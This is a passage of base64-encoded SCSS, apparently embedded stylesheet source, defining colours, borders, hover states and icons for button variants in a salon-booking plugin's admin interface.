WluLS13aGl0ZTtcbiAgICB9XG4gIH1cbiAgJi5zbG4tYnRuLS1hY3RpdmUge1xuICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICBpbnB1dCxcbiAgICBidXR0b24ge1xuICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgfVxuICAgICY6aG92ZXIsXG4gICAgJjpmb2N1cyB7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICAgIGlucHV0LFxuICAgICAgYnV0dG9uIHtcbiAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICAgIH1cbiAgICB9XG4gIH1cbiAgJi5zbG4tYnRuLS1zbWFsbC5zbG4tYnRuLS1pY29uIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAmOmFmdGVyIHtcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAgIH1cbiAgICAmOmhvdmVyIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgJjphZnRlciB7XG4gICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gICAgICB9XG4gICAgfVxuICB9XG59XG4uc2xuLWJ0bi0tZF9tYWluLS1ub2JrZyxcbi5zbG4tYm9vdHN0cmFwIC5zbG4tYnRuLS1kX21haW4tLW5vYmtnIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfbWFpbjtcbiAgaW5wdXQsXG4gIGJ1dHRvbiB7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9tYWluO1xuICB9XG4gICY6YWZ0ZXIge1xuICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfbWFpbjtcbiAgfVxuICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICY6aG92ZXIge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX21haW47XG4gICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAgICY6YWZ0ZXIge1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfbWFpbjtcbiAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICB9XG4gICAgfVxuICB9XG59XG4uc2xuLWJ0bi0td2FybmluZyxcbi5zbG4tYm9vdHN0cmFwIC5zbG4tYnRuLS13YXJuaW5nIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF93YXJuaW5nO1xuICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgaW5wdXQsXG4gIGJ1dHRvbiB7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gIH1cbiAgJjpob3ZlcixcbiAgJjpmb2N1cyB7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgIGlucHV0LFxuICAgIGJ1dHRvbiB7XG4gICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICB9XG4gIH1cbn1cbi5zbG4tYnRuLS1wcm9ibGVtLFxuLnNsbi1ib290c3RyYXAgLnNsbi1idG4tLXByb2JsZW0ge1xuICBiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMtbnUuc2xuLWFkbWluX251Y29sb3ItLXByb2JsZW0tLWJnKDEpO1xuICBjb2xvcjogY29sb3JzLW51LnNsbi1hZG1pbl9udWNvbG9yLS1wcm9ibGVtLS1kYXJrKDEpO1xuICBib3JkZXItc3R5bGU6IHNvbGlkO1xuICBib3JkZXItd2lkdGg6IDFweCAycHggMnB4IDFweDtcbiAgYm9yZGVyLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgaW5wdXQsXG4gIGJ1dHRvbiB7XG4gICAgY29sb3I6IGNvbG9ycy1udS5zbG4tYWRtaW5fbnVjb2xvci0tcHJvYmxlbS0tZGFyaygxKTtcbiAgfVxuICAmOmhvdmVyLFxuICAmOmZvY3VzIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMtbnUuc2xuLWFkbWluX251Y29sb3ItLXByb2JsZW0tLWJnKDEpO1xuICAgIGNvbG9yOiBjb2xvcnMtbnUuc2xuLWFkbWluX251Y29sb3ItLXByb2JsZW0tLWRhcmsoMSk7XG4gICAgYm9yZGVyLWNvbG9yOiBjb2xvcnMtbnUuc2xuLWFkbWluX251Y29sb3ItLXByb2JsZW0oMSk7XG4gICAgaW5wdXQsXG4gICAgYnV0dG9uIHtcbiAgICAgIGNvbG9yOiBjb2xvcnMtbnUuc2xuLWFkbWluX251Y29sb3ItLXByb2JsZW0tLWRhcmsoMSk7XG4gICAgfVxuICB9XG59XG4uc2xuLWJ0bi0tb2ssXG4uc2xuLWJvb3RzdHJhcCAuc2xuLWJ0bi0tb2sge1xuICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX29rO1xuICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgaW5wdXQsXG4gIGJ1dHRvbiB7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gIH1cbiAgJjpob3ZlcixcbiAgJjpmb2N1cyB7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgIGlucHV0LFxuICAgIGJ1dHRvbiB7XG4gICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICB9XG4gIH1cbn1cbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4tYnRuLS10ZXh0b25seSxcbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4tYm9vdHN0cmFwIC5zbG4tYnRuLS10ZXh0b25seSB7XG4gIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX251X21haW4tLWxpZ2h0O1xuICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtcbiAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAmOmhvdmVyIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgIH1cbiAgfVxufVxuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1idG4tLXRleHRvbmx5LS1lbXBoLFxuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1ib290c3RyYXAgLnNsbi1idG4tLXRleHRvbmx5LS1lbXBoIHtcbiAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbnUtLWhpZ2hlbXBoYTtcbiAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gIGZvbnQtd2VpZ2h0OiA2MDA7XG4gIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgJjpob3ZlciB7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICB9XG4gIH1cbn1cbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4tYnRuLS10ZXh0b25seS0tZW1waGJrZyxcbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4tYm9vdHN0cmFwIC5zbG4tYnRuLS10ZXh0b25seS0tZW1waGJrZyB7XG4gIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX251LS1oaWdoZW1waGE7XG4gIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gIGZvbnQtd2VpZ2h0OiA2MDA7XG4gIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgJjpob3ZlciB7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICB9XG4gIH1cbn1cbi5zbG4tYnRuLS1ib3JkZXJvbmx5LFxuLnNsbi1ib290c3RyYXAgLnNsbi1idG4tLWJvcmRlcm9ubHkge1xuICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgYm9yZGVyOiAxcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodC0tYm9yZGVyO1xuICBpbnB1dCxcbiAgYnV0dG9uIHtcbiAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICB9XG4gICYuc2xuLWJ0bi0tYmlnZ2VyIHtcbiAgICBib3JkZXI6IDJweCBzb2xpZCBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMC43NSk7XG4gICAgY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbigxKTtcbiAgfVxuICAmLnNsbi1idG4tLWljb246YWZ0ZXIge1xuICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gIH1cbiAgJi5zbG4tYnRuLS1hY3RpdmUge1xuICAgIGJvcmRlcjogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgfVxuICAmOmhvdmVyLFxuICAmOmZvY3VzIHtcbiAgICBib3JkZXItY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbi0tZGFyaygxKTtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4tLWRhcmsoMSk7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgaW5wdXQsXG4gICAgYnV0dG9uIHtcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgIH1cbiAgICAmLnNsbi1idG4tLWljb246YWZ0ZXIge1xuICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgfVxuICB9XG59XG4uc2xuLWJ0bi0tYm9yZGVyb25seS0tdyxcbi5zbG4tYm9vdHN0cmFwIC5zbG4tYnRuLS1ib3JkZXJvbmx5LS13IHtcbiAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICBpbnB1dCxcbiAgYnV0dG9uIHtcbiAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgfVxuICBib3JkZXI6IDFweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAmLnNsbi1idG4tLWljb246YWZ0ZXIge1xuICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICB9XG4gICYuc2xuLWJ0bi0tYWN0aXZlIHtcbiAgICBib3JkZXI6IDFweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICB9XG4gICY6aG92ZXIsXG4gICY6Zm9jdXMge1xuICAgIGJvcmRlci1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodGVyO1xuICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJHNsbi1jb2xvci0tZW1waGFzaXM7XG4gICAgaW5wdXQsXG4gICAgYnV0dG9uIHtcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJHNsbi1jb2xvci0tZW1waGFzaXM7XG4gICAgfVxuICAgICYuc2xuLWJ0bi0taWNvbjphZnRlciB7XG4gICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRzbG4tY29sb3ItLWVtcGhhc2lzO1xuICAgIH1cbiAgfVxufVxuLnNsbi1idG4tLWJvcmRlcm9ubHkyNSxcbi5zbG4tYm9vdHN0cmFwIC5zbG4tYnRuLS1ib3JkZXJvbmx5MjUge1xuICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9tYWluO1xuICBib3JkZXI6IDFweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX2RfbWFpbjtcbiAgYm9yZGVyLXJhZGl1czogNnB4O1xuICBpbnB1dCxcbiAgYnV0dG9uIHtcbiAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICB9XG4gICYuc2xuLWJ0bi0taWNvbjphZnRlciB7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgfVxuICAmLnNsbi1idG4tLWFjdGl2ZSB7XG4gICAgYm9yZGVyOiAxcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICB9XG4gICY6aG92ZXIsXG4gICY6Zm9jdXMge1xuICAgIGJvcmRlci1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICBpbnB1dCxcbiAgICBidXR0b24ge1xuICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgfVxuICAgICYuc2xuLWJ0bi0taWNvbjphZnRlciB7XG4gICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICB9XG4gIH1cbn1cbi5zbG4tYnRuLS1ub2JrZyxcbi5zbG4tYm9vdHN0cmFwIC5zbG4tYnRuLS1ub2JrZyB7XG4gIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICBib3JkZXI6IDFweCBzb2xpZCB0cmFuc3BhcmVudDtcbiAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgaW5wdXQsXG4gIGJ1dHRvbiB7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgfVxuICAmLnNsbi1idG4tLWljb246YWZ0ZXIge1xuICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gIH1cbiAgJi5zbG4tYnRuLS1hY3RpdmUge1xuICAgIGJvcmRlcjogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgfVxuICAmOmhvdmVyLFxuICAmOmZvY3VzIHtcbiAgICBib3JkZXItY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgaW5wdXQsXG4gICAgYnV0dG9uIHtcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgIH1cbiAgICAmLnNsbi1idG4tLWljb246YWZ0ZXIge1xuICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgfVxuICB9XG59XG4uc2xuLWJ0bi0tYmFubmVyLFxuLnNsbi1idG4uc2xuLWJ0bi0tYmFubmVyIHtcbiAgd2lkdGg6IDEwMCU7XG4gIG1pbi13aWR0aDogMDtcbiAgaGVpZ2h0OiBpbml0aWFsO1xuICBwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDI0cHgpO1xuICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjRweCk7XG4gIGZvbnQtd2VpZ2h0OiBib2xkO1xuICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWdyZWVuO1xuICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtcbiAgJjpob3ZlciB7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9vaztcbiAgfVxufVxuLnNsbi1idG4tLWNhbC1kYXk6bm90KC5zbG4taWNvbm9ubHktbmV3KSB7XG4gIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJHNsbi1jb2xvci0tYnRuLWNhbC1kYXktYmc7XG4gIGJvcmRlci1yYWRpdXM6IDUwJTtcbiAgd2lkdGg6IDUwcHg7XG4gIGhlaWdodDogNTBweDtcbiAgbWFyZ2luLXJpZ2h0OiAxMDBweDtcbiAgcG9zaXRpb246IGFic29sdXRlO1xuICB0b3A6IDUwJTtcbiAgcmlnaHQ6IDA7XG4gIHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtNTAlKTtcbiAgJjpob3ZlciB7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICB9XG59XG5cbi5hdHQtdGltZS1zbG90LmFjdGl2ZSAgLnNsbi1idG4tLWNhbC1kYXkuc2xuLWljb25vbmx5LW5ldyB7XG4gIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9iZy0tbWFpbi0tbGlnaHQ7XG4gIHdpZHRoOiAzcmVtO1xuICBoZWlnaHQ6IDNyZW07XG4gIG1hcmdpbi1yaWdodDogMC4yZW07XG4gIC8vcG9zaXRpb246IGFic29sdXRlO1xuICAvL3RvcDogNTAlO1xuICBtaW4td2lkdGg6IGFkbWluX2NvbmZpZy4kZ3JpZC1ndXR0ZXItd2lkdGggIWltcG9ydGFudDtcbiAgZm9udC1zaXplOiAxMnB4O1xuICBsaW5lLWhlaWdodDogMWVtO1xuICBwYWRkaW5nOiAwO1xuICBsZWZ0OiAxMDIlO1xuICB6LWluZGV4OiA5OTk7XG5cbiAgcG9zaXRpb246IHJlbGF0aXZlO1xuICB0b3A6IHVuc2V0O1xuICBsZWZ0OiB1bnNldDtcbiAgcmlnaHQ6IHVuc2V0O1xuICB0cmFuc2Zvcm06IG5vbmU7XG4gIC8vICY6aG92ZXIge1xuICAvLyAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9iZy0tbWFpbi0tbGlnaHRlcjtcbiAgLy8gfVxuICBAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6IDc2N3B4KSB7XG4gICAgLy8gICAgd2lkdGg6ICRncmlkLWd1dHRlci13aWR0aCo5LjY7XG4gICAgLy8gICAgbGVmdDogMDtcbiAgICAvLyAgICB6LWluZGV4OiA5OTk7XG4gICAgLy8gICAgdHJhbnNmb3JtOiB0cmFuc2xhdGUoMCk7XG4gIH1cbiAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcbiAgICAvL2xlZnQ6IGF1dG87XG4gICAgLy9sZWZ0OiBpbml0aWFsO1xuICB9XG59XG4uc2xuLWJ0bi0tbnUsXG4uc2xuLWJvb3RzdHJhcCAuc2xuLWJ0bi0tbnUge1xuICBoZWlnaHQ6IDNyZW07XG4gIGxpbmUtaGVpZ2h0OiAzcmVtO1xuICBwYWRkaW5nOiAwIDEuN2VtO1xuICBmb250LXNpemU6IDEuMTI1cmVtO1xuICBmb250LXdlaWdodDogNTAwO1xuICB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlO1xuICBib3JkZXItcmFkaXVzOiBzZXR0aW5ncy1taXhpbnMucmVtKDk5OTlweCk7XG4gIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG4gICAgbWluLXdpZHRoOiBzZXR0aW5ncy1taXhpbnMucmVtKDIyMHB4KTtcbiAgfVxufVxuLnNsbi1idG4tLW51LS1oaWdoZW1waCxcbi5zbG4tYm9vdHN0cmFwIC5zbG4tYnRuLS1udS0taGlnaGVtcGgge1xuICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX251LS1oaWdoZW1waGE7XG4gIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICBpbnB1dCxcbiAgYnV0dG9uIHtcbiAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgfVxuICAmOmhvdmVyLFxuICAmOmZvY3VzIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWVtcGhhc2lzO1xuICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgIGlucHV0LFxuICAgIGJ1dHRvbiB7XG4gICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICB9XG4gIH1cbn1cbi5zbG4tYnRuLS1udS0tbWVkaGVtcGgsXG4uc2xuLWJvb3RzdHJhcCAuc2xuLWJ0bi0tbnUtLW1lZGhlbXBoIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX251LS1oaWdoZW1waGE7XG4gIGlucHV0LFxuICBidXR0b24ge1xuICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICB9XG4gICY6aG92ZXIsXG4gICY6Zm9jdXMge1xuICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZW1waGFzaXM7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgaW5wdXQsXG4gICAgYnV0dG9uIHtcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgIH1cbiAgfVxufVxuXG4uc2xuLWJ0bi0tbnUtLWxvd2hlbXBoLFxuLnNsbi1ib290c3RyYXAgLnNsbi1idG4tLW51LS1sb3doZW1waCB7XG4gIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9udS0taGlnaGVtcGhhO1xuICBvcGFjaXR5OiAwLjU7XG4gIGlucHV0LFxuICBidXR0b24ge1xuICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgIG9wYWNpdHk6IDAuNTtcbiAgfVxuICAmOmhvdmVyLFxuICAmOmZvY3VzIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWVtcGhhc2lzO1xuICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgIG9wYWNpdHk6IDE7XG4gICAgaW5wdXQsXG4gICAgYnV0dG9uIHtcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgICAgb3BhY2l0eTogMTtcbiAgICB9XG4gIH1cbn1cbnNsbi1idG4tLW1lZGhlbXBoIC5zbG4tYWRtaW4tYmFubmVyLS1jbG9zZSxcbi5zbG4tYnRuLnNsbi1hZG1pbi1iYW5uZXItLWNsb3NlIHtcbiAgd2lkdGg6IHNldHRpbmdzLW1peGlucy5yZW0oNDhweCk7XG4gIGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg0OHB4KTtcbiAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gIGJvcmRlcjogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmItcmFkaXVzKDUwJSk7XG4gICY6OmFmdGVyIHtcbiAgICBkaXNwbGF5OiBibG9jaztcbiAgICBjb250ZW50OiAnWCc7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgQGV4dGVuZCAlYWJzb2x1dGUtY2VudGVyaW5nO1xuICB9XG59XG4uc2xuLWJ0bi0taWNvbiB7XG4gIHRleHQtYWxpZ246IGxlZnQ7XG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgaW5wdXQsXG4gIGJ1dHRvbiB7XG4gICAgdGV4dC1hbGlnbjogbGVmdDtcbiAgfVxuICAvKiBGSVggMDkyMDIzICovXG4gICY6YWZ0ZXIge1xuICAgIGNvbnRlbnQ6ICdcXGYxMTEnO1xuICAgIGxpbmUtaGVpZ2h0OiBpbml0aWFsO1xuICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgdG9wOiAtMC4xcmVtO1xuICAgIHJpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDNweCk7XG4gICAgYm90dG9tOiAwO1xuICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICBAZXh0ZW5kICVmb250LWljb247XG4gICAgei1pbmRleDogMjAwO1xuICB9XG4gICYuc2xuLWJ0bi0taWNvbi0tY2xpY2t0aHJvdWdoIHtcbiAgICAmOjphZnRlciB7XG4gICAgICBwb2ludGVyLWV2ZW50czogbm9uZTtcbiAgICB9XG4gIH1cblxuICAmLnNsbi1idG4tLWljb24tLWFsIHtcbiAgICB0ZXh0LWFsaWduOiBsZWZ0O1xuICB9XG4gICYuc2xuLWJ0bi0tYmlnIHtcbiAgICBwYWRkaW5nLXJpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDY0cHgpO1xuICAgICY6YWZ0ZXIge1xuICAgICAgcGFkZGluZzogMCBzZXR0aW5ncy1taXhpbnMucmVtKDI0cHgpO1xuICAgICAgbGluZS1oZWlnaHQ6IDMuMzNyZW07XG4gICAgfVxuICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG4gICAgICAmOmFmdGVyIHtcbiAgICAgICAgLy9wYWRkaW5nOiAwIHNldHRpbmdzLW1peGlucy5yZW0oMTJweCk7XG4gICAgICAgIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyNHB4KTtcbiAgICAgIH1cbiAgICB9XG4gIH1cbiAgJi5zbG4tYnRuLS1iaWdnZXIge1xuICAgIHBhZGRpbmctcmlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjRweCk7XG4gICAgJjphZnRlciB7XG4gICAgICBwYWRkaW5nOiAwIHNldHRpbmdzLW1peGlucy5yZW0oMjRweCk7XG4gICAgICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg5MHB4KTtcbiAgICB9XG4gICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcbiAgICAgICY6YWZ0ZXIge1xuICAgICAgICBwYWRkaW5nOiAwIDFyZW07XG4gICAgICAgIGZvbnQtc2l6ZTogMS4ycmVtO1xuICAgICAgfVxuICAgIH1cbiAgfVxuICAmLnNsbi1idG4tLW1lZ2Ege1xuICAgIHBhZGRpbmctcmlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjRweCk7XG4gICAgJjphZnRlciB7XG4gICAgICBwYWRkaW5nOiAwIHNldHRpbmdzLW1peGlucy5yZW0oMjRweCk7XG4gICAgICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg5MHB4KTtc